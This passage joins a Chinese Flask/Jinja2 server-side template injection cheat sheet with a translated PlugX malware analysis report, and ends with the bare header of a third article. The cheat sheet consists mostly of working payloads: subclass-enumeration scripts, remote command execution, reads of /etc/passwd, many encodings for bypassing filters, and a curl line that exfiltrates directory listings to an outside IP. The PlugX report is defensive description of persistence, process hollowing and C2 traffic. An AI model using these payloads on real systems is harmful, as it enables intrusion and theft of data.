* linecache 这个函数可用于读取任意一个文件的某一行，而这个函数中也引入了 os 模块，所以我们也可以利用这个 linecache 函数去执行命令。
* 首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
for i in range(500):
url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)
随便挑一个子类构造payload即可：
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
payload如下：
{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}
- 本方法只能用于python2，因为在python3中会报错`'function object' has no attribute 'func_globals'`
#### python2&3的方法:
##### `__builtins__`：
* 首先`__builtins__`是一个包含了大量内置函数的一个模块，我们平时用python的时候之所以可以直接使用一些函数比如abs，max，就是因为1 **builtins** 1这类模块在Python启动时为我们导入了，可以使用dir(`__builtins__`)来查看调用方法的列表，然后可以发现`__builtins__`下有eval，`__import__`等的函数，因此可以利用此来执行命令。
* 再调用eval等函数和方法即可
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{x.__init__.__globals__['__builtins__']}}
这里的x任意26个英文字母的任意组合都可以，同样可以得到__builtins__然后用eval就可以了
{{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
或者用如下两种方式，用模板来跑循环
循环一：
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
循环二：
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
读取文件：
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
==注==：warnings.catch_warnings类在在内部定义了`_module=sys.modules['warnings']`，然后`warnings`模块包含有`__builtins__`，也就是说如果可以找到warnings.catch_warnings类，则可以不使用globals，payload如下：
{{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}
##### 寻找 subprocess.Popen 类：
从python2.4版本开始，可以用 subprocess 这个模块来产生子进程，并连接到子进程的标准输入/输出/错误中去，还可以得到子进程的返回值。
subprocess 意在替代其他几个老的模块或者函数，比如：`os.system`、`os.popen` 等函数。
首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)
# 得到索引为245
则构造如下payload执行命令即可：
{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
# {{[].__class__.__base__.__subclasses__()[245]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}
我们可以用`find2.py`寻找`subprocess.Popen`这个类，可以直接RCE
{{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
### 获取配置信息：
我们有时候可以使用flask的内置函数比如说url_for，get_flashed_messages，甚至是内置的对象request来查询配置信息或者是构造payload
#### config：
我们通常会用{{config}}查询配置信息，如果题目有设置类似app.config ['FLAG'] =
os.environ.pop('FLAG')，就可以直接访问{{config['FLAG']}}或者{{config.FLAG}}获得flag
#### request：
jinja2中存在对象request
>>>from flask import Flask,request,render_template_string
>>>request.__class__.__mro__[1]
<class 'object'>
查询一些配置信息{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}
构造ssti的payload:
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
#### url_for:
查询配置信息
{{url_for.__globals__['current_app'].config}}
构造ssti的payload
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
如果使用常规 Payload 比如`__subclasses__ 或 __class`__，肯定会导致 Payload 过长。
因此我们要在这里使用 Flask 内置的全局函数来构造我们的 Payload：
url_for：此函数全局空间下存在 eval() 和 os 模块
lipsum：此函数全局空间下存在 eval() 和 os 模块
所以我们可以使用`__globals__`属性来获取函数当前全局空间下的所有模块、函数及属性
下列 Payload 即通过`__globals__` 属性获取全局空间中的 os 模块，并调用 popen() 函数来执行系统命令；因为 popen
函数返回的结果是个文件对象，因此需要调用 read() 函数来获取执行结果。
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}
#### get_flashed_messages:
查询配置信息
{{get_flashed_messages.__globals__['current_app'].config}}
构造ssti的payload
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
### 过滤bypass：
#### 过滤点：
在python中，可用以下表示法可用于访问对象的属性
{{().__class__}}
{{()["__class__"]}}
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
也就是说我们可以通过`[]`，`attr()`，`getattr()`来绕过点
##### [ ]绕过：
使用访问字典的方式来访问函数或者类等，下面两行是等价的
{{().__class__}}
{{()['__class__']}}
payload:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
##### `|attr()`绕过：
使用原生JinJa2的函数`attr()`，以下两行是等价的
{{().__class__}}
{{()|attr('__class__')}}
payload：
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
##### `getattr()`绕过：
这种方法有时候由于环境问题不一定可行，会报错`'getattr' is undefined`，所以优先使用以上两种
Python 3.7.8
>>> ().__class__
<class 'tuple'>
>>> getattr((),"__class__")
<class 'tuple'>
#### 过滤单双引号：
##### 利用request对象绕过：
flask中存在着request内置对象可以得到请求的信息，request可以用5种不同的方式来请求信息，我们可以利用他来传递参数绕过
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name
* GET方式，利用request.args传递参数
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
* POST方式，利用request.values传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
* Cookie方式，利用request.cookies传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
##### chr()绕过:
抓包，设置[§0§]，这里先爆破`subclasses`，获取`subclasses`中含有chr的类索引，然后用chr来绕过传参时所需要的引号，然后需要用chr来构造需要的字符
{{().__class__.__base__.__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
快速构造想要的ascii字符:
<?php
$a = 'whoami';
$result = '';
for($i=0;$i<strlen($a);$i++)
{
$result .= 'chr('.ord($a[$i]).')%2b';
}
echo substr($result,0,-3);
?>
//chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)
payload:
{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
#### 过滤下划线:
##### 编码绕过:
使用十六进制编码绕过，`_`编码后为`\x5f`，`.`编码后为`\x2E`
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}
甚至可以全十六进制绕过，顺便把关键字也一起绕过，这里先给出个python脚本方便转换
string1="__class__"
string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
def tohex(string):
result = ""
for i in range(len(string)):
result=result+"\\x"+hex(ord(string[i]))[2:]
print(result)
tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
print(string2) #__class__
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("whoami")["\x72\x65\x61\x64"]()}}
##### 利用request对象绕过:
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
等同于：
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
1. |attr()绕过
#### 过滤关键字：
##### 拼接字符绕过：
这里以过滤class为例子，用中括号括起来然后里面用引号连接，可以用`+`号或者不用
{{()['__cla'+'ss__'].__bases__[0]}}
{{()['__cla''ss__'].__bases__[0]}}
payload：
{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}
{%print lipsum['__glo'+'bals__']['__buil'+'tins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")%}
{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('cat /flag_1s_Hera')['read']())%}
##### join拼接：
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
* 管道符+`format`方法拼接，也就是我们平时说的格式化字符串，其中的`%s`被`l`替换
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
##### 使用`str`原生函数:
* replace绕过：
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
* decode绕过(python2)：
{{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
##### 替代:
过滤init，可以用`__enter__`或`__exit__`替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
过滤config，我们通常会用`{{config}}`获取当前设置，如果被过滤了可以使用以下的payload绕过
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
##### Unicode编码绕过:
我们可以利用unicode编码的方法，绕过关键字过滤，例如：
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
#等同于：
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
#### 过滤中括号：
`[`和`]`
##### `pop`和`__getitem__`绕过:
#在python里面可以使用以下方法访问数组元素
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'
#利用__getitem__绕过：可以使用 __getitem__() 方法输出序列属性中的某个索引处的元素
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}
#指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
#指定字典属性
#利用 pop() 绕过：pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}
#指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}}
#指定字典属性
##### `__getattribute__`绕过：
* 调用魔术方法本来是不用中括号的，但是如果过滤了关键字，要进行拼接的话就不可避免要用到中括号，如果同时过滤了class和中括号，可用`__getattribute__`绕过
{{"".__getattribute__("__cla"+"ss__").__base__}}
##### 配合`request`绕过：
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
payload：
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie传参：x1=__builtins__;x2=__import__('os').popen('cat /f*').read()
##### 利用字典读取绕过:
我们知道访问字典里的值有两种方法，一种是把相应的键放入熟悉的方括号 `[]` 里来访问，一种就是用点 `.` 来访问。所以，当方括号 `[]`
被过滤之后，我们还可以用点 `.` 的方式来访问:
#// __builtins__.eval()
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
#等同于：
[__builtins__]['eval'](){{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#### 过滤双大括号:
##### 使用外带数据:
用{%%}替代了{{}}，使用判断语句进行dns外带数据
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://47.xxx.xxx.72:2333 -d `ls /|grep flag`') %}1{% endif %}
##### print标记:
我们上面之所以要dnslog外带数据以及使用盲注，是因为用{%%}会没有回显，这里的话可以使用print来做一个标记使得他有回显，比如{%print
config%}，payload如下
{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}
#### 利用 `|attr()` Bypass
##### 过滤 . &[ ]:
**`|attr()+__getitem()__`绕过：**
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
#等同于：
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
##### 过滤_&.&[ ]&'':
**`|attr()+__getitem__+request`绕过：**
#payload的原型：
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#由于中括号 `[` 被过滤了，我们可以用 `__getitem__()` 来绕过（尽量不要用pop()），类似如下：
{{().__class__.__base__.__subclasses__().__getitem__(77).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
#由于还过滤了下划线 `__`，我们可以用request对象绕过，但是还过滤了中括号 `[]`，所以我们要同时绕过 `__` 和 `[`，就用到了我们的`|attr()`
payload:
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}
&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
##### 过滤args&.&_：
**`|attr()+request(values)`绕过：**
{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}}
post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()
##### 过滤_&.&'：
主要是找到_frozen_importlib_external.FileLoader的get_data()方法，第一个是参数0，第二个为要读取的文件名，payload如下
{{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}
使用十六进制绕过后，payload如下
{{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}}
#### 利用`|attr()`\+ 编码Bypass
##### `Unicode +|attr()`:
#过滤了以下字符：
'' & 'request' & '{{' & '_' & '%20(空格)' & '[]' & '.' & '__globals__' & '__getitem__'
#我们用 {%...%}绕过对 {{ 的过滤，并用unicode绕过对关键字的过滤。
我们要构造的payload原型为：
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
#先用|attr()绕过.和[]：
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
#我们可以将过滤掉的字符用unicode替换掉：
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
##### `Hex +|attr()` :
* 和上面那个一样，只不过是将Unicode编码换成了Hex编码，适用于“u”被过滤了的情况。
* 我们可以将过滤掉的字符用Hex编码替换掉：
{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}
参考文章:
<https://xz.aliyun.com/t/3679>
<http://t.csdn.cn/pg0wK>
<http://t.csdn.cn/Sm6NP>
<https://xz.aliyun.com/t/9584> | 社区文章 |
# PlugX恶意软件分析报告
|
##### 译文声明
本文是翻译文章，文章原作者 LUIS ROCHA，文章来源：countuponsecurity.com/
原文地址：[ https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/](
https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/)
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
PlugX恶意软件家族一直都让我非常感兴趣，因此我打算在这篇文章中对其中的一个变种版本进行分析。我在网上搜索相关研究报告的时候，偶然间发现了Fabien
Perigaud的研究，并从中了解到了一个老版本的PlugX构建器。接下来，我便搭建了实验环境，并对PlugX攻击活动进行了深入分析。
在这篇文章中，我将跟大家简单介绍一下关于这个PlugX Builder（构建器）的概况，并对恶意软件的安装过程以及C2流量进行分析和研究。
## PlugX介绍
现在有很多网络犯罪组织都会在其有针对性的攻击活动中使用PlugX，很多人也将其称之为KORPLUG、SOGU或DestroyRAT，它是一种模块化的后门，而它则需要依靠那些已签名的合法可执行程序去加载恶意代码来实现运行。PlugX一般由三大组件构成：一个DLL文件、一个加密过的二进制文件和一个已签名的合法可执行程序（使用DLL搜索顺序劫持技术来加载恶意软件）。接下来，我们先看看PlugX构建器的大致情况。
我们所得到的Builder样本为英文版本（MD5：
6aad032a084de893b0e8184c17f0376a），代码日期为2013年8月份，其中包含了功能丰富的模块化指令以及控制接口，可支持的恶意操作如下：
1. 构建Payload，配置攻击并设置受感染主机所要进行的操作，与控制服务器进行通信；
2. 代理连接，构建C2通信模块；
3. 设置持久化感染以及相关属性；
4. 设置一个需要注入Payload的进程（或多个）；
5. 为C2回调定义计划任务；
6. 启用键盘记录以及屏幕截图功能；
7. 管理所有的受感染系统；
针对每一台被感染的系统，攻击者可以利用多种方式来与系统进行交互并实现远程控制，其中涉及到下列功能模块：
8. 磁盘模块，允许攻击者写入、读取、上传、下载和执行文件；
9. 网络浏览器模块，允许攻击者浏览网络通信流量并通过SMB连接到网络内的其他系统；
10. 进程模块，可用于枚举、终止和加载进程；
11. 服务模块，允许攻击者枚举、启动、停止或修改系统服务；
12. 注册表模块，允许攻击者浏览注册表，并创建、删除和修改注册表键；
13. Netstat模块，允许攻击者枚举TCp和UDP网络连接以及相关进程；
14. 截图模块，允许攻击者进行屏幕截图；
15. 控制插件，允许攻击者查看或移除对受感染主机的控制；
16. Shell模块，允许攻击者拿到受感染系统的命令行Shell；
17. PortMap模块，允许攻击者建立端口转发规则；
18. SQL模块，允许攻击者连接SQL服务器并执行SQL语句；
19. 选项模块，允许攻击者关闭、重启、锁定或注销受感染设备；
键盘记录模块，可获取每一个进程的键盘按键数据；
下图显示的是Plug-X的C2接口：
这样一来，我们就可以利用Builder的功能来定义不同的C2命令、控制密码、IP地址、安装属性和注入代码等等，并构建我们自己的Payload。这个版本Builder(LZ
2013-8-18)所生成的PlugX代码是一种自提取的RAR文档，其中包含了三份文件，运行自提取RAR文档之后将会选择性地在目录中存放这三份文件。我们的测试场景中，目录为“%AUTO%/RasTls”，文件分别为：一个来自卡巴斯基反病毒解决方案的已签名合法可执行程序，文件名为“avp.exe”（MD5：e26d04cecd6c7c71cfbb3f335875bc31），其功能是实现DLL搜索顺序劫持。当“avp.exe”运行时将会加载第二个文件-“ushata.dll”（MD5：728fe666b673c781f5a018490a7a412a），这是PlugX构建器制作的一个DLL，而这个文件将会加载第三个文件-“ushata.DLL.818”（MD5
：21078990300b4cdb6149dbd95dff146f），该文件包含了经过混淆处理和封装的Shellcode。
其中，DLL搜索顺序劫持使用的API为Kernel32.LoadLibrary：
“ushata.dll”为DLL入口点，其中包含的代码负责验证目标系统日期是否大于或等于20130808，如果条件符合，它将会把恶意内容注入到内存中（调用“ushata.DLL.818”），并使用Kernel32.VirtualProtect
API来修改内存地址分段权限（RWX），其中“ushata.DLL.818”文件中包含了经过混淆处理的Shellcode，下图显示的是部分Shellcode：
Shellcode会使用一种自定义的算法来进行解封装，下图显示的是解封装后的Shellcode：
Shellcode首先会通过访问线程信息块（TIB）来定位kernel32.dll的地址，而TIB中包含了指向进程环境块（PEB）结构体的指针。下图显示的是部分用于搜索kernel32.dll的Shellcode代码段：
搜索到kernel32.dll之后，代码会读取它的输出表，并定位相应的Windows
API。接下来，Shellcode会使用LZNT1算法（利用ntdll.dll.RtlDecompressBuffer
API）向内存中解压一个DLL（偏移量0x784，MD5为333e2767c8e575fbbb1c47147b9f9643）。这个DLL文件中包含的PE头替换成了“XV“值，而存储在PE头签名中的信息可以帮助我们恢复出恶意DLL：
接下来，Payload将会开始执行各种不同的操作以实现持久化感染。在Windows
7以及更高版本的Windows平台中，PlugX会创建一个名叫“%ProgramData%RasTl”的目录，其中“RasTl”是构建器中设置的安装名称。接下来，它会使用SetFileAttributesW
API来将文件夹属性修改为“SYSTEM|HIDDEN”，然后将之前提到的那三个组件拷贝到这个目录中，并将所有的文件属性修改为“SYSTEM|HIDDEN”。
Payload还会修改已创建目录和文件的时间戳，修改的源数据需要使用SetFileTime API从ntdll.dll中获取。
它还会创建一个名叫“RasTl”的服务，其中的ImagePath指向的是“%ProgramData%RasTlavp.exe”。
如果恶意软件无法启动刚刚安装的服务，它会删除该服务并在注册表中实现持久化感染机制（通过RegSetValueExW
API将注册表键“HKLMSOFTWAREClassesSOFTWAREMicrosoftWindowsCurrentVersionRunRasTls”的值修改为“C:ProgramDataRasTlsavp.exe”）。
如果Builder选项开启了键盘记录功能，它将会创建一个文件（文件名随机，例如“%ProgramData%RasTlrjowfhxnzmdknsixtx”）来存储键盘按键信息。如果Payload带有屏幕截图功能的话，它还会创建一个名叫“%ProgramData%RasTl
RasTlScreen”的文件夹来存储JPG截图文件，文件格式为”<datetime>.jpg”。Payload还会创建文件“%ProgramData%DEBUG.LOG”来存储恶意软件在安装和执行过程中的输出以及调试信息（使用了OutputDebugString
API）。
## 恶意软件的运行
为了完成自己的目标，恶意代码首先会创建一个新的“svchost.exe”实例，然后向svchost.exe进程地址空间中注入恶意代码（使用进程Hollowing技术）。下图显示的是进程Hollowing技术的第一个阶段，其中Payload以“挂起”状态创建了一个新的“svchost.exe”实例。
然后使用WriteProcessMemory API来注入恶意Payload：
现在主进程仍然处于挂起状态，但是之后它会调用SetThreadContext API来改变其状态，并最终调用ResumeThread
API来执行恶意代码。除此之外，如果又需要的话这个恶意软件还能够绕过用户账户控制（UAC）。
接下来，我们还要弄清楚整个过程中恶意软件所采用的配置信息。为了导出配置数据，我们需要使用Immunity Debugger和一个Python
API。这里我们需要将“plugx_dumper.py”文件复制到Immunity
Debugger安装路径下的“PyCommands”文件夹中，然后把调试器挂接到受感染进程（例如“svchost.exe”）并运行插件。接下来，插件便会导出配置信息并提取出解压后的DLL。
我们可以看到，这个解析器能够寻找到注入的Shellcode，通过解码配置信息之后，我们能够导出攻击者所注入的DLL文件，而其中则包含了恶意软件的核心功能代码。
接下来我们分析一下恶意软件的网络流量数据。我们通过分析发现，PlugX控制器使用了多种网络协议。网络流量中包含一个16字节长度的Header，随后跟着的便是Payload。Header采用了自定义程序进行编码，而Payload的编码和压缩使用的是LZNT1.下图显示的是反编译后的自定义编码程序：
在下图中，左手边显示的是编码和压缩前的数据包，右手边是编码和压缩后的数据包，大家可以对比一下：
接下来，恶意软件会使用WSASend API来发送流量数据：
捕捉到流量数据之后，我们可以观察到相同的数据：
在控制器端，当数据包到达之后，Header将会被解码，随后便会对Payload进行解码和解压缩。最终的输出结果如下图所示：
下图显示的是我们所捕捉到的其中一个数据包，我们使用了一个小型的Python脚本来对其进行解密：
## 总结
在这篇文章中，我们对PlugX的功能进行了简单分析，并研究了它的攻击和感染机制、经过混淆处理的Shellcode、持久化机制以及它所使用的进程Hollowing技术。接下来，我们还对恶意软件跟C2服务器的通信方式以及网络流量数据进行了研究。希望本文的研究内容可以给大家平时在分析恶意软件的时候提供帮助。
## 参考资料
1. <http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf>
2. <https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf>
3. <https://info.contextis.com/acton/attachment/24535/f-030c/1/-/-/-/-/PlugX%20-%20Payload%20Extraction.pdf>
4. <http://tracker.h3x.eu/info/290> | 社区文章 |
# 解密BBOSS组织：全球超十二万站点的地下掌控者
|
##### 译文声明
本文是翻译文章，文章来源：FREEBUF
原文地址：[http://www.freebuf.com/articles/system/93491.html?from=groupmessage&isappinstalled=0](http://www.freebuf.com/articles/system/93491.html?from=groupmessage&isappinstalled=0)
译文仅供参考，具体内容表达以及含义原文为准。
****
